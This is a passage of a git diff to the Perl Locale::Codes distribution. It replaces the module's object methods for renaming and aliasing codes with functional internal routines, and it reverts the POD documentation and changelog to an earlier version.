+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
    }
-   my $type = $$self{'type'};
 
    # Check that $name is used.
 
@@ -658,14 +552,19 @@ sub delete_alias {
    if (exists $Data{$type}{'alias2id'}{lc($name)}) {
       ($id,$i) = @{ $Data{$type}{'alias2id'}{lc($name)} };
    } else {
-      carp "delete_alias: name does not exist: $name\n"  if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "delete_${type}_alias(): name does not exist: $name\n";
+      }
       return 0;
    }
 
    my $n = $#{ $Data{$type}{'id2names'}{$id} } + 1;
    if ($n == 1) {
-      carp "delete_alias: only one name defined (use delete_code instead)\n"
-        if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "delete_${type}_alias(): only one name defined (use _delete_${type} instead)\n";
+      }
       return 0;
    }
 
@@ -695,37 +594,49 @@ sub delete_alias {
    return 1;
 }
 
-###############################################################################
-
-# $flag = $o->replace_code (CODE,NEW_CODE [,CODESET])
+#=======================================================================
+#
+# _rename_code ( TYPE,CODE,NEW_CODE,CODESET )
 #
 # Change the official code. The original is retained as an alias, but
-# the new code will be returned if do a name2code lookup.
+# the new name will be returned if you lookup the code from name.
 #
-sub replace_code {
-   my($self,$code,$new_code,$codeset) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return 0;
+sub _rename_code {
+   my($type,$code,$new_code,@args) = @_;
+
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
    }
-   my $type = $$self{'type'};
 
-   # Make sure $code/$codeset are both valid (and that $new_code is the
-   # correct format)
+   my $codeset  = shift(@args);
+   my $err;
+   ($err,$code,$codeset)     = _code($type,$code,$codeset);
 
-   my($err,$c,$cs) = $self->_code($code,$codeset);
-   if ($err) {
-      carp "ERROR: rename_code: Unknown code/codeset: $code [$codeset]\n"
-        if ($$self{'err'});
+   if (! $codeset) {
+      if (! $nowarn) {                                    # uncoverable branch true
+         carp "rename_${type}_code(): unknown codeset\n"; # uncoverable statement
+      }
       return 0;
    }
-   ($code,$codeset) = ($c,$cs);
 
-   ($err,$new_code,$codeset) = $self->_code($new_code,$codeset,1);
+   ($err,$new_code,$codeset) = _code($type,$new_code,$codeset);
+
+   # Check that $code exists in the codeset.
+
+   if (! exists $Data{$type}{'code2id'}{$codeset}{$code}) {
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "rename_${type}_code(): unknown code: $code\n";
+      }
+      return 0;
+   }
 
    # Cases:
    #   1. Renaming code to an existing alias of this code:
@@ -750,15 +661,19 @@ sub replace_code {
 
       } else {
          # Case 2
-         carp "rename_code: new code already in use: $new_code\n"
-           if ($$self{'err'});
+         if (! $nowarn) {                                 # uncoverable branch true
+                                                          # uncoverable statement
+            carp "rename_${type}_code(): new code already in use: $new_code\n";
+         }
          return 0;
       }
 
    } elsif (exists $Data{$type}{'code2id'}{$codeset}{$new_code}) {
       # Case 3
-      carp "rename_code: new code already in use: $new_code\n"
-        if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "rename_${type}_code(): new code already in use: $new_code\n";
+      }
       return 0;
    }
 
@@ -767,8 +682,7 @@ sub replace_code {
    $Data{$type}{'codealias'}{$codeset}{$code} = $new_code;
 
    my $id = $Data{$type}{'code2id'}{$codeset}{$code}[0];
-   $Data{$type}{'code2id'}{$codeset}{$new_code} =
-     $Data{$type}{'code2id'}{$codeset}{$code};
+   $Data{$type}{'code2id'}{$codeset}{$new_code} = $Data{$type}{'code2id'}{$codeset}{$code};
    delete $Data{$type}{'code2id'}{$codeset}{$code};
 
    $Data{$type}{'id2code'}{$codeset}{$id} = $new_code;
@@ -776,43 +690,57 @@ sub replace_code {
    return 1;
 }
 
-###############################################################################
-
-# $flag = $o->add_code_alias (CODE,NEW_CODE [,CODESET])
+#=======================================================================
+#
+# _add_code_alias ( TYPE,CODE,NEW_CODE,CODESET )
 #
 # Adds an alias for the code.
 #
-sub add_code_alias {
-   my($self,$code,$new_code,$codeset) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return 0;
+sub _add_code_alias {
+   my($type,$code,$new_code,@args) = @_;
+
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
    }
-   my $type = $$self{'type'};
 
-   # Make sure $code/$codeset are both valid and that the new code is
-   # properly formatted.
+   my $codeset  = shift(@args);
+   my $err;
+   ($err,$code,$codeset)     = _code($type,$code,$codeset);
 
-   my($err,$c,$cs) = $self->_code($code,$codeset);
-   if ($err) {
-      carp "ERROR: add_code_alias: Unknown code/codeset: $code [$codeset]\n"
-        if ($$self{'err'});
+   if (! $codeset) {
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "add_${type}_code_alias(): unknown codeset\n";
+      }
       return 0;
    }
-   ($code,$codeset) = ($c,$cs);
 
-   ($err,$new_code,$cs) = $self->_code($new_code,$codeset,1);
+   ($err,$new_code,$codeset) = _code($type,$new_code,$codeset);
+
+   # Check that $code exists in the codeset and that $new_code
+   # does not exist.
 
-   # Check that $new_code does not exist.
+   if (! exists $Data{$type}{'code2id'}{$codeset}{$code}) {
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "add_${type}_code_alias(): unknown code: $code\n";
+      }
+      return 0;
+   }
 
    if (exists $Data{$type}{'code2id'}{$codeset}{$new_code}  ||
        exists $Data{$type}{'codealias'}{$codeset}{$new_code}) {
-      # uncoverable branch true
-      carp "add_code_alias: code already in use: $new_code\n"  if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "add_${type}_code_alias(): code already in use: $new_code\n";
+      }
       return 0;
    }
 
@@ -823,40 +751,45 @@ sub add_code_alias {
    return 1;
 }
 
-###############################################################################
-
-# $flag = $o->delete_code_alias (ALIAS [,CODESET])
+#=======================================================================
+#
+# _delete_code_alias ( TYPE,ALIAS,CODESET )
 #
 # Deletes an alias for the code.
 #
-sub delete_code_alias {
-   my($self,$code,$codeset) = @_;
+#=======================================================================
 
-   # uncoverable branch true
-   if (! $$self{'type'}) {
-      # uncoverable statement
-      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
-      # uncoverable statement
-      return 0;
+sub _delete_code_alias {
+   my($type,$code,@args) = @_;
+
+   # For tests, we'll ALWAYS have $nowarn
+   my $nowarn   = 0;
+   if (@args) {                                           # uncoverable branch false
+      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
+         $nowarn      = 1;
+         pop(@args);
+      }
    }
-   my $type = $$self{'type'};
 
-   # Make sure $code/$codeset are both valid
+   my $codeset  = shift(@args);
+   my $err;
+   ($err,$code,$codeset)     = Locale::Codes::_code($type,$code,$codeset);
 
-   my($err,$c,$cs) = $self->_code($code,$codeset);
-   if ($err) {
-      # uncoverable branch true
-      carp "ERROR: rename: Unknown code/codeset: $code [$codeset]\n"
-        if ($$self{'err'});
+   if (! $codeset) {
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "delete_${type}_code_alias(): unknown codeset\n";
+      }
       return 0;
    }
-   ($code,$codeset) = ($c,$cs);
 
    # Check that $code exists in the codeset as an alias.
 
    if (! exists $Data{$type}{'codealias'}{$codeset}{$code}) {
-      # uncoverable branch true
-      carp "delete_code_alias(): no alias defined: $code\n"  if ($$self{'err'});
+      if (! $nowarn) {                                    # uncoverable branch true
+                                                          # uncoverable statement
+         carp "delete_${type}_code_alias(): no alias defined: $code\n";
+      }
       return 0;
    }
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes.pod b/cpan/Locale-Codes/lib/Locale/Codes.pod
index 9049b667ba69..d52c82f4354e 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes.pod
@@ -6,428 +6,171 @@ Locale::Codes - a distribution of modules to handle locale codes
 
 =head1 DESCRIPTION
 
-B is a distribution containing a set of modules designed
-to work with sets of codes which uniquely identify something.  For
-example, there are codes associated with different countries, different
-currencies, different languages, etc.  These sets of codes are typically
-maintained in some standard.
-
-This distribution provides a way to work with these lists of codes.
-Because the data from the various standards is not available in any
-sort of consistent API, access to the lists is not available in any
-direct fashion.  To compensate for this, the list of codes is stored
-internally within this distribution, and the distribution is updated
-on a regular basis to include all known codes at that point in time.
-This does mean that it is necessary to keep this distribution
-up-to-date to keep up with the various changes that are made in the
-various standards.
-
-Traditionally, a module has been created to work with each type of
-code sets.  So, there is a module for working with country lists, one
-for currency lists, etc.  Since version 3.00, all of these individual
-modules were written as wrappers around a central module (which was not
-intended to be used directly) which did all of the real work.
-
-Starting with version 3.50, the central module was reworked slightly
-to provide an object-oriented interface.  All of the modules for
-working with individual types of code sets were reworked to use the
-improved OO module, so the traditional interfaces still work as they
-always have.  As a result, you are free to use the traditional
-functional (non-OO) interfaces, or to use the OO interface and bypass
-the wrapper modules entirely.
-
-Both methods will be supported in the future, so use the one that is
-best suited to your needs.
-
-Within each type, any number of code sets are allowed.  For example,
-sets of country codes are maintained in several different locations
-including the ISO-3166 standard, the IANA, and by the United Nations.
-The lists of countries are similar, but not identical.  Multiple code
-sets are supported, though trying to convert from one code set to
-another will not always work since the list of countries is not
-one-to-one.
+B is a distribution containing a set of modules.  The
+modules each deal with different types of codes which identify parts
+of the locale including languages, countries, currency, etc.
 
-All data in all of these modules comes directly from the original
-standards (or as close to direct as possible), so it should be
-up-to-date at the time of release.
-
-I plan on releasing a new version several times a year to incorporate
-any changes made in the standards. However, I don't always know about
-changes that occur, so if any of the standards change, and you want a
-new release sooner, just email me and I'll get one out.
-
-=head1 SYNOPSIS (OBJECT-ORIENTED INTERFACE)
-
-   use Locale::Codes;
-   or
-   use Locale::Codes ':constants';
-
-   $obj = new Locale::Codes 'country';
-
-=head1 OBJECT-ORIENTED METHODS
-
-The following methods are available.
-
-In all methods, when specifying a code set, the name (as a string)
-is always available.
-
-Traditionally, you could also use a perl constant to specify the
-code set.  In order to do so with the OO interface, you have to
-import the constants.  To do that, load the module with:
-
-   use Locale::Codes ':constants';
+Currently, the following modules are included:
 
 =over 4
 
-=item B
-
-   $obj = new Locale::Codes;
-   $obj = new Locale::Codes 'country';
-   $obj = new Locale::Codes 'country','alpha-3';
-   $obj = new Locale::Codes 'country',LOCALE_COUNTRY_ALPHA_3;
-
-This creates a new object that can access the data.  If no type is specified
-(in the first argument), you must use the B method described below.
-No operations will work unless the type is specified.
-
-The second argument is the default code set to use.  This is optional, as
-each type has a default code set.  The default code set can be set using
-the B method below.
-
-The last example is only available if the constants were imported when
-the module was loaded.
-
-=item B
-
-   $obj->show_errors(1);
-   $obj->show_errors(0);
-
-By default, error messages will be produced when bad data is passed
-to any method.  By passing in '0', these will be turned off so that
-all failures will be silent.
-
-=item B
-
-   $obj->type($type)
-
-This will set the type of codes that will be worked with.  C<$type> may
-be any of the recognized types of code sets, including:
-
-   country
-   language
-   currency
-   script
-   etc.
-
-The list of valid types, and the code sets supported in each, are described
-in the L document.
-
-This method can be called any number of times to toggle between different types
-of code sets.
-
-=item B
-
-   $obj->codeset($codeset);
-
-This sets the default code set to use.  The list of code sets available
-for each type are described in the L document.
-
-In all other methods below, when an optional B argument is
-omitted, it will default to this value.
-
-=item B
-
-   $name = $obj->code2name($code [,$codeset] [,'retired']);
-
-This functions take a code and returns a string which contains
-the name of the element identified.  If the code is not a valid
-code in the B specified then C will be returned.
-
-The name of the element is the name as specified in the standard,
-and as a result, different variations of an element name may
-be returned for different values of B.
-
-For example, the alpha-2 country code set defines the two-letter
-code "bo" to be "Bolivia, Plurinational State of", whereas the
-alpha-3 code set defines the code 'bol' to be the country "Bolivia
-(Plurinational State of)". So:
-
-   $obj->code2name('bo','alpha-2');
-      => 'Bolivia, Plurinational State of'
-
-   $obj->code2name('bol','alpha-3');
-      => 'Bolivia (Plurinational State of)'
-
-By default, only active codes will be used, but if the string
-'retired' is passed in as an argument, both active and retired
-codes will be examined.
-
-=item B
-
-   $code = $obj->name2code($name [,$codeset] [,'retired']);
-
-This function takes the name of an element (or any of it's aliases)
-and returns the code that corresponds to it, if it exists. If B
-could not be identified as the name of one of the elements, then
-C will be returned.
-
-The name is not case sensitive. Also, any known variation of a name
-may be passed in.
-
-For example, even though the country name returned using 'alpha-2'
-and 'alpha-3' country codes for Bolivia are different, either country
-name may be passed in since for each code set (in addition to the more
-common alias 'Bolivia'). So:
-
-   $obj->name2code('Bolivia, Plurinational State of','alpha-2');
-      => bo
-
-   $obj->name2code('Bolivia (Plurinational State of)','alpha-2');
-      => bo
+=item L, L
 
-   $obj->name2code('Bolivia','alpha-2');
-      => bo
+This includes support for country codes (such as those listed in ISO-3166)
+to specify the country.
 
-By default, only active names will be used, but if the string
-'retired' is passed in as an argument, both active and retired
-names will be examined.
+Because this module was originally distributed as L, it is
+also available under that name.
 
-=item B
+=item L, L
 
-   $code = $obj->code2code($code [,$codeset] ,$codeset2);
+This includes support for language codes (such as those listed in ISO-639)
+to specify the language.
 
-This function takes a code from one code set (B or the
-default code set), and returns the corresponding code from another
-code set (B). B must exists in the code set specified
-by B and must have a corresponding code in the
-code set specified by B or C will be returned.
+Because this module was originally distributed as L, it is
+also available under that name.
 
-   $obj->code2code('fin','alpha-3','alpha-2');
-      => 'fi'
+=item L, L
 
-Note that this function does NOT support retired codes.
+This includes support for currency codes (such as those listed in ISO-4217)
+to specify the currency.
 
-=item B
+Because this module was originally distributed as L, it is
+also available under that name.
 
-   @code = $obj->all_codes([$codeset] [,'retired']);
+=item L, L
 
-This returns a list of all code in the code set. The codes will be
-sorted.
+This includes support for script codes (such as those listed in ISO-15924)
+to specify the script.
 
-By default, only active codes will be returned, but if the string
-'retired' is passed in as an argument, both active and retired
-codes will be returned.
+Because this module was originally distributed as L, it is
+also available under that name.
 
-=item B
+=item L
 
-   @name = $obj->all_names([$codeset] [,'retired']);
+This includes support for language extension codes (such as those listed
+in the IANA language registry) to specify the language extension.
 
-This method returns a list of all elements names for which there is a
-corresponding code in the specified code set.
+=item L
 
-The names returned are exactly as they are specified in the standard,
-and are sorted.
+This includes support for language variation codes (such as those listed
+in the IANA language registry) to specify the language variation.
 
-Since not all elements are listed in all code sets, the list of
-elements may differ depending on the code set specified.
+=item L
 
-By default, only active names will be returned, but if the string
-'retired' is passed in as an argument, both active and retired
-names will be returned.
+This includes support for language family codes (such as those listed
+in ISO 639-5) to specify families of languages.
 
 =back
 
-The following additional methods are available and can be used to
-modify the code list data (and are therefore not generally useful).
-
-=over 4
-
-=item B
-
-   $flag = $obj->rename_code($code,$new_name [,$codeset]);
-
-This method can be used to change the official name of an element. At
-that point, the name returned by the C method would be
-B instead of the name specified in the standard.
-
-The original name will remain as an alias.
-
-For example, the official country name for code 'gb' is 'United
-Kingdom'.  If you want to change that, you might call:
-
-   $obj->rename_code('gb', 'Great Britain');
-
-This means that calling code2name('gb') will now return 'Great
-Britain' instead of 'United Kingdom'.
-
-If any error occurs, a warning is issued and 0 is returned. An error
-occurs if B doesn't exist in the specified code set, or if
-B is already in use but for a different element.
-
-If the method succeeds, 1 is returned.
-
-=item B
+Each module can support an arbitrary number of code sets, and it is
+not required that the relationship between these code sets be
+one-to-one.  For example, the L module
+supports code sets from ISO-3166 and the IANA standard, and those two
+standards do not break the world down into exactly the same sets of
+countries. This does not cause any problem (though converting codes
+from ISO-3166 to IANA or back will not work except for countries that
+are one-to-one).
 
-   $flag = $obj->add_code($code,$name [,$codeset]);
-
-This method is used to add a new code and name to the data.
-
-Both B and B must be unused in the data set or an error
-occurs (though B may be used in a different data set).
-
-For example, to create the fictitious country named "Duchy of
-Grand Fenwick" with codes "gf" and "fen", use the following:
-
-   $obj->add_code("fe","Duchy of Grand Fenwick",'alpha-2');
-   $obj->add_code("fen","Duchy of Grand Fenwick",'alpha-3');
-
-The return value is 1 on success, 0 on an error.
-
-=item B
-
-   $flag = $obj->delete_code($code [,$codeset]);
-
-This method is used to delete a code from the data.
-
-B must refer to an existing code in the code set.
-
-The return value is 1 on success, 0 on an error.
-
-=item B
-
-   $flag = $obj->add_alias($name,$new_name);
-
-This method is used to add a new alias to the data. They do
-not alter the return value of the C function.
-
-B must be an existing element name, and B must
-be unused or an error occurs.
-
-The return value is 1 on success, 0 on an error.
-
-=item B
-
-   $flag = $obj->delete_alias($name);
-
-This method is used to delete an alias from the data. Once
-removed, the element may not be referred to by B.
-
-B must be one of a list of at least two names that may be used to
-specify an element. If the element may only be referred to by a single
-name, you'll need to use the C method to add a new alias
-first, or the C method to remove the element entirely.
-
-If the alias is used as the name in any code set, one of the other
-names will be used instead. Predicting exactly which one will
-be used requires you to know the order in which the standards
-were read, which is not reliable, so you may want to use the
-C method to force one of the alternate names to be
-used.
-
-The return value is 1 on success, 0 on an error.
+All data in all of these modules comes directly from the original
+standards (or as close to direct as possible), so it should be
+up-to-date at the time of release.
 
-=item B
+I plan on releasing a new version several times a year to incorporate
+any changes made in the standards. However, I don't always know about
+changes that occur, so if any of the standards change, and you want a
+new release sooner, just email me and I'll get one out.
 
-   $flag = $obj->replace_code($code,$new_code [,$codeset]);
+In addition to the modules above, there are a number of support modules included
+in the distribution including:
 
-This method is used to change the official code for an element. At
-that point, the code returned by the C method would be
-B instead of the code specified in the standard.
+=over 4
 
-B may either be a code that is not in use, or it may be an
-alias for B (in which case, B becomes and alias and B
-becomes the "real" code).
+=item B
 
-The original code is kept as an alias, so that the C routines
-will work with either the code from the standard or the new code.
+=item B
 
-However, the C method will only return the codes which
-are considered "real" (which means that the list of codes will now
-contain B, but will not contain B).
+=item B
 
-=item B
+=item B
 
-   $flag = $obj->add_code_alias($code,$new_code [,$codeset]);
+=item B
 
-This method adds an alias for the code. At that point, B and B
-will both work in the C method. However, the C method will
-still return the original code.
+=item B
 
-=item B
+=item B
 
-These routines delete an alias for the code.
+=item B
 
-These will only work if B is actually an alias. If it is the "real"
-code, it will not be deleted. You will need to use the C
-method to switch the real code with one of the aliases, and then
-delete the alias.
+=item B
 
 =back
 
-=head1 TRADITIONAL INTERFACES
-
-In addition the the primary OO module, the following modules are included in
-the distribution for the traditional way of working with code sets.
-
-Each module will work with one specific type of code sets.
-
-=over 4
-
-=item L, L
+These modules are not intended to be used by programmers. They contain functions
+or data that are used by the modules listed above.  No support of any kind is
+offered for using these modules directly.  They may be modified at any time.
 
-This includes support for country codes (such as those listed in ISO-3166)
-to specify the country.
+=head1 NEW CODE SETS
 
-Because this module was originally distributed as L, it is
-also available under that name.
+I'm always open to suggestions for new code sets.
 
-=item L, L
+In order for me to add a code set, I want the following criteria
+to be met:
 
-This includes support for language codes (such as those listed in ISO-639)
-to specify the language.
+=over 4
 
-Because this module was originally distributed as L, it is
-also available under that name.
+=item B
 
-=item L, L
+If a code set is not general use, I'm not likely to spend the time
+to add and support it.
 
-This includes support for currency codes (such as those listed in ISO-4217)
-to specify the currency.
+=item B
 
-Because this module was originally distributed as L, it is
-also available under that name.
-
-=item L, L
+I require an official (or at least, a NEARLY official) source where I
+can get the data on a regular basis.
 
-This includes support for script codes (such as those listed in ISO-15924)
-to specify the script.
+Ideally, I'd only get data from an official source, but sometimes that
+is not possible. For example the ISO standards are not typically
+available for free, so I may have to get some of that data from
+alternate sources that I'm confident are getting their data from the
+official source.  However, I will always be hesitant to accept a
+non-official source.
 
-Because this module was originally distributed as L, it is
-also available under that name.
+As an example, I used to get some country data from the CIA World
+Factbook. Given the nature of the source, I'm sure they're updating
+data from the official sources and I consider it "nearly" official.
+However, even in this case, I found that they were adding codes that
+were not part of the standard, so I have stopped using them as a
+source.
 
-=item L
+There are many 3rd party sites which maintain lists (many of which are
+actually in a more convenient form than the official sites).
+Unfortunately, I will reject most of them since I have no feel for how
+"official" they are.
 
-This includes support for language extension codes (such as those listed
-in the IANA language registry) to specify the language extension.
+=item B
 
-=item L
+Obviously, the data must be free-of-charge. I'm not interested in
+paying for the data (and I'm not interested in the overhead of having
+someone else pay for the data for me).
 
-This includes support for language variation codes (such as those listed
-in the IANA language registry) to specify the language variation.
+=item B
 
-=item L
+The source of data must come from a source that I can reasonably expect
+to exist for the foreseeable future since I will be extremely reluctant
+to drop support for a data set once it's included.
 
-This includes support for language family codes (such as those listed
-in ISO 639-5) to specify families of languages.
+I am also reluctant to accept data sent to me by an individual.
+Although I appreciate the offer, it is simply not practical to consider
+an individual contribution as a reliable source of data. The source
+should be an official agency of some sort.
 
 =back
 
-In addition to the modules above, there are a number of support modules included
-in the distribution.  Any module not listed above falls into that category.
-
-These modules are not intended to be used by programmers. They contain functions
-or data that are used by the modules listed above.  No support of any kind is
-offered for using these modules directly.  They may be modified at any time.
+These requirements are open to discussion. If you have a code set
+you'd like to see added, but which may not meet all of the above
+requirements, feel free to email me and we'll discuss it.  Depending
+on circumstances, I may be willing to waive some of these criteria.
 
 =head1 COMMON ALIASES
 
@@ -464,7 +207,7 @@ to 3.00, but it has been removed. Other aliases (if any) which no
 longer appear in any standard (and which are not common variations of
 the name in the standards) have also been removed.
 
-=head1 RETIRED CODES
+=head1 DEPRECATED CODES
 
 Occasionally, a code is deprecated, but it may still be desirable to
 have access to it.
@@ -474,44 +217,50 @@ been deprecated (since most codesets do not have that information
 available), as of version 3.20, every code which has ever been included
 in these modules can be referenced.
 
-For more information, refer to the documentation on the code2name, name2code,
-all_codes, and all_names methods above.
+For more information, refer to the documentation on the code2XXX, XXX2code,
+all_XXX_codes, and all_XXX_names function in the L
+documentation.
 
 =head1 SEE ALSO
 
 =over 4
 
-=item L
+=item L
 
-The list of all code sets available for each type.
+The list of functions available in each of the modules listed below.
+The APIs for each module are exactly identical.
 
-=item L
+=item L
 
-A history of changes made to this distribution.
+Codes for identification of countries.
 
-=back
+=item L
 
-=head1 KNOWN BUGS AND LIMITATIONS
+Codes for identification of languages.
 
-=over 4
+=item L
 
-=item B
+Codes for identification of scripts.
 
-Because each code set uses a slightly different list of elements, and
-they are not necessarily one-to-one, there may be some confusion
-about the relationship between codes from different code sets.
+=item L
 
-For example, ISO 3166 assigns one code to the country "United States
-Minor Outlying Islands", but the IANA codes give different codes
-to different islands (Baker Island, Howland Island, etc.).
+Codes for identification of currencies and funds.
 
-This may cause some confusion... I've done the best that I could do
-to minimize it.
+=item L
+
+Codes for identification of language extensions.
+
+=item L
+
+Codes for identification of language variations.
 
-=item B
+=item L
 
-Currently all names must be all ASCII. I plan on relaxing that
-limitation in the future.
+Codes for identification of language families.
+
+=item L
+
+A history of changes made to this distribution.
 
 =back
 
@@ -543,9 +292,9 @@ L
 
 =back
 
-Please do not use other means to report bugs (such as forums for a specific
-OS or Linux distribution) as it is impossible for me to keep up with all of
-them.
+Please do not use other means to report bugs (such as Usenet newsgroups,
+or forums for a specific OS or Linux distribution) as it is impossible
+for me to keep up with all of them.
 
 When filing a bug report, please include the following information:
 
@@ -556,7 +305,7 @@ When filing a bug report, please include the following information:
 Please include the version of Locale::Codes you are using.  You can get
 this by using the script:
 
-   use Locale::Codes;
+   use Locale::Codes::Country;
    print $Locale::Codes::VERSION,"\n";
 
 =back
@@ -579,20 +328,23 @@ modified by Neil Bowers for inclusion in the distribution.
 
 From 2001 to 2004, maintenance was continued by Neil Bowers.  He
 modified Locale::Currency for inclusion in the distribution. He also
-added Locale::Script.
+added Locale::Constants and Locale::Script.
 
 From 2004-2009, the module was unmaintained.
 
 In 2010, maintenance was taken over by Sullivan Beck (sbeck@cpan.org)
 with Neil Bower's permission.  All problems or comments should be
-sent to him using any of the methods listed above.
+sent there.  Alternately, problems can be reported using the
+perl problem tracker at:
+
+   L
 
 =head1 COPYRIGHT
 
    Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
    Copyright (c) 2001      Michael Hennecke (Locale::Currency)
    Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2018 Sullivan Beck
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod b/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod
index 13cc4b90d575..e40f4acd97aa 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod
@@ -22,144 +22,13 @@ September, December). I will also check on request, so if a code
 changes that you use, feel free to contact me.  Any time there are new
 codes, I will add them to the module and release a new version.
 
-=head1 VERSION 3.59  (planned 2018-12-01; sbeck)
+=head1 VERSION 3.46  (planned 2017-12-01; sbeck)
 
-=head1 VERSION 3.58  (planned 2018-09-01; sbeck)
+=head1 VERSION 3.45  (planned 2017-09-01; sbeck)
 
-=head1 VERSION 3.57  (planned 2018-06-01; sbeck)
+=head1 VERSION 3.44  (planned 2017-06-01; sbeck)
 
-=head1 VERSION 3.56  (planned 2018-03-01; sbeck)
-
-NEW CODE(s)
-
-=head1 VERSION 3.55  (2017-11-17; sbeck)
-
-NEW CODE(s)
-
-=over 4
-
-=item B<(*) Deprecated in core>
-
-Because correct usage of any of the Locale::Codes modules requires that
-they be kept up-to-date, I have long felt that it should not be distributed
-as a core module.  After discussion on the perl5-porters list, it is agreed,
-and the deprecation process has been started.
-
-Thanks to p5p-porters (especially Dagfinn Ilmari Mannsaker) for discussion
-and guidance.
-
-=item Changes from a github pull request applied
-
-A couple minor changes (updated .travis.yml to include newest versions of
-perl; and a couple changes to pod_coverage.t) reported by lancew on GitHub.
-
-=item Got rid of Build.PL
-
-Simplified things by only supporting one of Makefile.PL/Build.PL (and the latter
-has been removed from perl core some time ago).  RT 123572
-
-=item Fixed INSTALLDIRS
-
-The behavior of installing core modules changed in 5.12 a bit, and Makefile.PL
-now reflects that.  RT 123571
-
-=back
-
-=head1 VERSION 3.54  (2017-09-01; sbeck)
-
-NEW CODE(s)
-
-=head1 VERSION 3.53  (2017-07-25; sbeck)
-
-NEW CODE(s)
-
-=over 4
-
-=item Fixed the default error condition in legacy modules.
-
-With the addition of the OO module, better error handling was added (and it
-was on by default).  The non-OO (legacy) modules did not report errors, so
-code that uses them, would now behave differently if invalid data were
-passed in.
-
-I have turned off error handling by default in the legacy modules.  The
-show_errors method was added to each of the non-OO modules to report errors
-if desired.
-
-Reported by dmaestro on GitHub.
-
-=back
-
-=head1 VERSION 3.52  (2017-06-01; sbeck)
-
-NEW CODE(s)
-
-=head1 VERSION 3.51  (2017-04-10; sbeck)
-
-NEW CODE(s)
-
-=over 4
-
-=item Tests no longer require (.) in INC
-
-As of perl 5.25.11, (.) is being removed from INC.  I had to adjust the
-tests accordingly.
-
-=back
-
-=head1 VERSION 3.50  (2017-03-01; sbeck)
-
-NEW CODE(s)
-
-=over 4
-
-=item B<(*) Rewrote as OO module>
-
-The core module (Locale::Codes) is now an OO module that can be used
-directly.  All of the other modules (Locale::Codes::TYPE) are still
-the older functional interfaces and remain unchanged.
-
-=item B
-
-Historically, the constant names used to identify the codesets have been
-named inconsistently.  The original constants for codesets are:
-
-   Type      Constants
-
-   country   LOCALE_CODE_*
-   currency  LOCALE_CURR_*
-   language  LOCALE_LANG_*
-
-   script    LOCALE_SCRIPT_*
-   langfam   LOCALE_LANGFAM_*
-   langvar   LOCALE_LANGVAR_*
-   langext   LOCALE_LANGEXT_*
-
-For consistencies sake, I have added some new codes (which are otherwise
-identical to the irregularly named codes):
-
-   country   LOCALE_COUNTRY_*
-   currency  LOCALE_CURRENCY_*
-   language  LOCALE_LANGUAGE_*
-
-Going forward, all constants will include the full name of the code type.
-
-=item Non-OO modules are now generated
-
-All non-OO modules are now automatically generated.  This will make it easier
-to keep them 100% consistent as well as making it easier to add new types
-of code sets.
-
-All of the documentation for them is also generated except for the description
-of the code sets.  That has been moved into the Locale::Codes::Types document.
-
-=item Fixed a bug where constants were not exported
-
-Some of the constants for some of the newer code sets were not exported properly.
-This was fixed when I started generating the non-OO modules, but was reported
-(after I had already fixed it in development) as RT 119741 .
-
-=back
+=head1 VERSION 3.43  (planned 2017-03-01; sbeck)
 
 =head1 VERSION 3.42  (2016-11-30; sbeck)
 
@@ -490,7 +359,8 @@ Added Language Extension codes (langext) and Language Variation codes
 
 Added language codes from ISO 639-5
 
-Added language/script codes from the IANA language subtag registry
+Added language/script codes from the IANA language subtag
+registry
 
 =item B
 
@@ -954,7 +824,7 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 =head1 COPYRIGHT
 
    Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2018 Sullivan Beck
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm b/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm
index dbd4986abfbe..d17a17cf39a6 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm
@@ -1,205 +1,145 @@
